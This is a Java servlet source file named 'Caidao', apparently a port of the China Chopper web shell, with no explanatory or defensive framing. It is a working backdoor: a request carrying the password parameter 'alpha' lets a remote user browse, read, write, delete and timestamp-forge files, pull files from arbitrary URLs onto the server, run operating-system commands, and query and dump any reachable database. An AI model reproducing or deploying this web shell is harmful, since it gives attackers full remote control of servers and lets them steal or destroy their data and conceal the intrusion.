content: package org.javaweb.servlet;
  
  import java.io.BufferedInputStream;
  import java.io.BufferedReader;
  import java.io.BufferedWriter;
  import java.io.File;
  import java.io.FileInputStream;
  import java.io.FileOutputStream;
  import java.io.IOException;
  import java.io.InputStream;
  import java.io.InputStreamReader;
  import java.io.OutputStreamWriter;
  import java.io.PrintWriter;
  import java.net.HttpURLConnection;
  import java.net.URL;
  import java.sql.Connection;
  import java.sql.DriverManager;
  import java.sql.ResultSet;
  import java.sql.ResultSetMetaData;
  import java.sql.Statement;
  import java.text.SimpleDateFormat;
  
  import javax.servlet.ServletException;
  import javax.servlet.ServletOutputStream;
  import javax.servlet.http.HttpServlet;
  import javax.servlet.http.HttpServletRequest;
  import javax.servlet.http.HttpServletResponse;
  
  public class Caidao extends HttpServlet {
  
  	private static final long serialVersionUID = 1L;
  	
  	String Pwd = "alpha";
  	String cs = "UTF-8";
  	
  	String EC(String s) throws Exception {
  		return new String(s.getBytes("ISO-8859-1"),cs);
  	}
  
  	Connection GC(String s) throws Exception {
  		String[] x = s.trim().split("\r\n");
  		Class.forName(x[0].trim());
  		if(x[1].indexOf("jdbc:oracle")!=-1){
  			return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
  		}else{
  			Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
  			if (x.length > 4) {
  				c.setCatalog(x[4]);
  			}
  			return c;
  		}
  	}
  
  	void AA(StringBuffer sb) throws Exception {
  		File r[] = File.listRoots();
  		for (int i = 0; i < r.length; i++) {
  			sb.append(r[i].toString().substring(0, 2));
  		}
  	}
  
  	void BB(String s, StringBuffer sb) throws Exception {
  		File oF = new File(s), l[] = oF.listFiles();
  		String sT, sQ, sF = "";
  		java.util.Date dt;
  		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
  		for (int i = 0; i < l.length; i++) {
  			dt = new java.util.Date(l[i].lastModified());
  			sT = fm.format(dt);
  			sQ = l[i].canRead() ? "R" : "";
  			sQ += l[i].canWrite() ? " W" : "";
  			if (l[i].isDirectory()) {
  				sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");
  			} else {
  				sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";
  			}
  		}
  		sb.append(sF);
  	}
  
  	void EE(String s) throws Exception {
  		File f = new File(s);
  		if (f.isDirectory()) {
  			File x[] = f.listFiles();
  			for (int k = 0; k < x.length; k++) {
  				if (!x[k].delete()) {
  					EE(x[k].getPath());
  				}
  			}
  		}
  		f.delete();
  	}
  
  	void FF(String s, HttpServletResponse r) throws Exception {
  		int n;
  		byte[] b = new byte[512];
  		r.reset();
  		ServletOutputStream os = r.getOutputStream();
  		BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
  		os.write(("->" + "|").getBytes(), 0, 3);
  		while ((n = is.read(b, 0, 512)) != -1) {
  			os.write(b, 0, n);
  		}
  		os.write(("|" + "<-").getBytes(), 0, 3);
  		os.close();
  		is.close();
  	}
  
  	void GG(String s, String d) throws Exception {
  		String h = "0123456789ABCDEF";
  		File f = new File(s);
  		f.createNewFile();
  		FileOutputStream os = new FileOutputStream(f);
  		for (int i = 0; i < d.length(); i += 2) {
  			os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
  		}
  		os.close();
  	}
  
  	void HH(String s, String d) throws Exception {
  		File sf = new File(s), df = new File(d);
  		if (sf.isDirectory()) {
  			if (!df.exists()) {
  				df.mkdir();
  			}
  			File z[] = sf.listFiles();
  			for (int j = 0; j < z.length; j++) {
  				HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
  			}
  		} else {
  			FileInputStream is = new FileInputStream(sf);
  			FileOutputStream os = new FileOutputStream(df);
  			int n;
  			byte[] b = new byte[512];
  			while ((n = is.read(b, 0, 512)) != -1) {
  				os.write(b, 0, n);
  			}
  			is.close();
  			os.close();
  		}
  	}
  
  	void II(String s, String d) throws Exception {
  		File sf = new File(s), df = new File(d);
  		sf.renameTo(df);
  	}
  
  	void JJ(String s) throws Exception {
  		File f = new File(s);
  		f.mkdir();
  	}
  
  	void KK(String s, String t) throws Exception {
  		File f = new File(s);
  		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
  		java.util.Date dt = fm.parse(t);
  		f.setLastModified(dt.getTime());
  	}
  
  	void LL(String s, String d) throws Exception {
  		URL u = new URL(s);
  		int n = 0;
  		FileOutputStream os = new FileOutputStream(d);
  		HttpURLConnection h = (HttpURLConnection) u.openConnection();
  		InputStream is = h.getInputStream();
  		byte[] b = new byte[512];
  		while ((n = is.read(b)) != -1) {
  			os.write(b, 0, n);
  		}
  		os.close();
  		is.close();
  		h.disconnect();
  	}
  
  	void MM(InputStream is, StringBuffer sb) throws Exception {
  		String l;
  		BufferedReader br = new BufferedReader(new InputStreamReader(is));
  		while ((l = br.readLine()) != null) {
  			sb.append(l + "\r\n");
  		}
  	}
  
  	void NN(String s, StringBuffer sb) throws Exception {
  		Connection c = GC(s);
  		ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();
  		while (r.next()) {
  			sb.append(r.getString(1) + "\t");
  		}
  		r.close();
  		c.close();
  	}
  
  	void OO(String s, StringBuffer sb) throws Exception {
  		Connection c = GC(s);
  		String[] x = s.trim().split("\r\n");
  		ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});
  		while (r.next()) {
  			sb.append(r.getString("TABLE_NAME") + "\t");
  		}
  		r.close();
  		c.close();
  	}
  
  	void PP(String s, StringBuffer sb) throws Exception {
  		String[] x = s.trim().split("\r\n");
  		Connection c = GC(s);
  		Statement m = c.createStatement(1005, 1007);
  		ResultSet r = m.executeQuery("select * from " + x[x.length-1]);
  		ResultSetMetaData d = r.getMetaData();
  		for (int i = 1; i <= d.getColumnCount(); i++) {
  			sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");
  		}
  		r.close();
  		m.close();
  		c.close();
  	}
  
  	void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {
  		Connection c = GC(s);
  		Statement m = c.createStatement(1005, 1008);
  		BufferedWriter bw = null;
  		try {
  			ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);
  			ResultSetMetaData d = r.getMetaData();
  			int n = d.getColumnCount();
  			for (int i = 1; i <= n; i++) {
  				sb.append(d.getColumnName(i) + "\t|\t");
  			}
  			sb.append("\r\n");
  			if(q.indexOf("--f:")!=-1){
  				File file = new File(p);
  				if(q.indexOf("-to:")==-1){
  					file.mkdir();
  				}
  				bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));
  			}
  			while (r.next()) {
  				for (int i = 1; i <= n; i++) {
  					if(q.indexOf("--f:")!=-1){
  						bw.write(r.getObject(i)+""+"\t");
  						bw.flush();
  					}else{
  						sb.append(r.getObject(i)+"" + "\t|\t");
  					}
  				}
  				if(bw!=null){bw.newLine();}
  				sb.append("\r\n");
  			}
  			r.close();
  			if(bw!=null){bw.close();}
  		} catch (Exception e) {
  			sb.append("Result\t|\t\r\n");
  			try {
  				m.executeUpdate(q);
  				sb.append("Execute Successfully!\t|\t\r\n");
  			} catch (Exception ee) {
  				sb.append(ee.toString() + "\t|\t\r\n");
  			}
  		}
  		m.close();
  		c.close();
  	}
  	
  	public void doGet(HttpServletRequest request, HttpServletResponse response)
  			throws ServletException, IOException {
  		doPost(request, response);
  	}
  
  	public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {
  		cs = request.getParameter("z0") != null ? request.getParameter("z0")+ "":cs;
  		response.setContentType("text/html");
  		response.setCharacterEncoding(cs);
  		PrintWriter out = response.getWriter();
  		StringBuffer sb = new StringBuffer("");
  		try {
  			String Z = EC(request.getParameter(Pwd) + "");
  			String z1 = EC(request.getParameter("z1") + "");
  			String z2 = EC(request.getParameter("z2") + "");
  			sb.append("->" + "|");
  			String s = request.getSession().getServletContext().getRealPath("/");
  			if (Z.equals("A")) {
  				sb.append(s + "\t");
  				if (!s.substring(0, 1).equals("/")) {
  					AA(sb);
  				}
  			} else if (Z.equals("B")) {
  				BB(z1, sb);
  			} else if (Z.equals("C")) {
  				String l = "";
  				BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
  				while ((l = br.readLine()) != null) {
  					sb.append(l + "\r\n");
  				}
  				br.close();
  			} else if (Z.equals("D")) {
  				BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
  				bw.write(z2);
  				bw.close();
  				sb.append("1");
  			} else if (Z.equals("E")) {
  				EE(z1);
  				sb.append("1");
  			} else if (Z.equals("F")) {
  				FF(z1, response);
  			} else if (Z.equals("G")) {
  				GG(z1, z2);
  				sb.append("1");
  			} else if (Z.equals("H")) {
  				HH(z1, z2);
  				sb.append("1");
  			} else if (Z.equals("I")) {
  				II(z1, z2);
  				sb.append("1");
  			} else if (Z.equals("J")) {
  				JJ(z1);
  				sb.append("1");
  			} else if (Z.equals("K")) {
  				KK(z1, z2);
  				sb.append("1");
  			} else if (Z.equals("L")) {
  				LL(z1, z2);
  				sb.append("1");
  			} else if (Z.equals("M")) {
  				String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
  				Process p = Runtime.getRuntime().exec(c);
  				MM(p.getInputStream(), sb);
  				MM(p.getErrorStream(), sb);
  			} else if (Z.equals("N")) {
  				NN(z1, sb);
  			} else if (Z.equals("O")) {
  				OO(z1, sb);
  			} else if (Z.equals("P")) {
  				PP(z1, sb);
  			} else if (Z.equals("Q")) {
  				QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");
  			}
  		} catch (Exception e) {
  			sb.append("ERROR" + ":// " + e.toString());
  		}
  		sb.append("|" + "<-");
  		out.print(sb.toString());
  	}
  
  }
  